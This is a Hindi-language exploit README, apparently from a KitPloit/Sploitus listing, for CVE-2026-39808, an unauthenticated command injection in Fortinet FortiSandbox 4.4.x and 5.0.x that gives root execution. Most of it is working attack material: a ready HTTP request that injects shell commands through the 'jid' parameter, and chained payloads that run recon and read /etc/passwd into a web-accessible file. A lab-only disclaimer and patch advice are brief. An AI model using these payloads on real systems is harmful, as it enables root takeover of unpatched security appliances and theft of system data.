Exploit for CVE-2026-39808

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XBLACKASH-CVE-2026-39808
# 🚨 FortiSandbox रूट सैंडबॉक्स एस्केप - CVE-2026-39808

![1765359501378](https://assets.kitploit.com/production/public/readmes/42229/6c4e236dca6a9ef552591b58d56d50d51c3ac41c41585f5a5a4fe50c6577be3a.jpg)

* * *

![Status](https://img.shields.io/badge/Status-Active%20Lab-success?style=for-the-badge&logo=github) ![CVE](https://img.shields.io/badge/CVE-2026--39808-critical?style=for-the-badge&color=red) ![Affected Versions](https://img.shields.io/badge/FortiSandbox-4.4.x_%7C_5.0.x-blue?style=for-the-badge)

## 🎯 अवलोकन

इस रिपॉजिटरी में **CVE-2026-39808** के लिए एक साफ और अच्छी तरह से प्रलेखित प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है — जो Fortinet FortiSandbox में एक गंभीर अप्रमाणित कमांड इंजेक्शन भेद्यता है, जो **सैंडबॉक्स एस्केप** और **रूट** (`uid=0`) के रूप में रिमोट कोड निष्पादन की अनुमति देती है।

### यह PoC क्या प्रदर्शित करता है:

  * `jid` पैरामीटर के माध्यम से पथ ट्रैवर्सल + कमांड इंजेक्शन
  * विश्लेषण वातावरण से सैंडबॉक्स से बाहर निकलना
  * रूट विशेषाधिकारों के साथ मनमाने कमांड का निष्पादन
  * सिस्टम फ़ाइलों और नेटवर्क जानकारी को पढ़ना



* * *

## 📸 डेमो

![CVE-2026-39808 1](https://assets.kitploit.com/production/public/readmes/42229/dbd1c41d96856f3bc600759092108010a78445600bd393ab61644eccca45dad2.png) ![CVE-2026-39808 0](https://assets.kitploit.com/production/public/readmes/42229/70cc6434be98b8b6527b3c3fa89ccdcc1275ef9d96f00a7e2ff0a0db8e414345.png) ![CVE-2026-39808 3](https://assets.kitploit.com/production/public/readmes/42229/f5c29c35cf141a23dc693a64cae02c30937af4db482215b8b06041478a6f228a.png) ![CVE-2026-39808 2](https://assets.kitploit.com/production/public/readmes/42229/9964bac8286d92bc3d3c8b4498ad02c91ae9636c3562734272d65929cfb99f4a.png) ![CVE-2026-39808 4](https://assets.kitploit.com/production/public/readmes/42229/e5bf487f144ad97634ae84d0d77b2014b90ce6521fc8cdfc7eab362cca86b85b.png)

**सफल शोषण`uid=0 gid=0 groups=0` दिखा रहा है**

* * *

## 🚀 प्रभावित संस्करण

संस्करण श्रेणी| स्थिति  
---|---  
FortiSandbox 4.4.0 – 4.4.8| कमजोर  
FortiSandbox 5.0.0 – 5.0.5| कमजोर  
4.4.9+ / 5.0.6+| पैच किया गया  
  
* * *

## 🛠️ उपयोग कैसे करें (केवल प्रयोगशाला में)

### 1\. सरल पेलोड (अनुशंसित)

root@kitploit:~
    
    
    GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
    Host: your-lab-ip
    

### 2\. परिणाम देखें

ब्राउज़र में खोलें:

root@kitploit:~
    
    
    https://your-lab-ip/ng/out.txt
    

### 3\. उन्नत पेलोड उदाहरण

root@kitploit:~
    
    
    # आईपी पता + होस्टनाम प्राप्त करें
    jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|
    
    # पूर्ण सिस्टम रिकॉनिसेंस
    jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|
    

* * *

## 📁 रिपॉजिटरी सामग्री

  * `poc.py` → स्वचालित Python एक्सप्लॉइट
  * `burp-request.txt` → उपयोग के लिए तैयार Burp Suite अनुरोध
  * `payloads.md` → उपयोगी पेलोड का संग्रह
  * `screenshots/` → चरण-दर-चरण शोषण छवियाँ
  * `README.md` → यह फ़ाइल



* * *

## ⚠️ महत्वपूर्ण नोट्स

  * **केवल शैक्षिक और प्रयोगशाला उद्देश्यों के लिए**
  * किसी भी उत्पादन या अनधिकृत प्रणाली पर इसका उपयोग **न करें**
  * परीक्षण से पहले हमेशा उचित अनुमति प्राप्त करें
  * अपने FortiSandbox को **4.4.9+** या **5.0.6+** संस्करण में पैच करें



* * *

## 🛡️ शमन

FortiSandbox को तुरंत निम्नलिखित संस्करणों में से किसी एक में अपडेट करें:

  * **4.4.9** या उच्चतर
  * **5.0.6** या उच्चतर



Fortinet ने इस भेद्यता को संबोधित करने वाले आधिकारिक पैच जारी किए हैं।

* * *

**अनुसंधान एवं शिक्षण उद्देश्यों के लिए बनाया गया**  
⭐ इस रेपो को स्टार करें यदि इसने आपकी मदद की!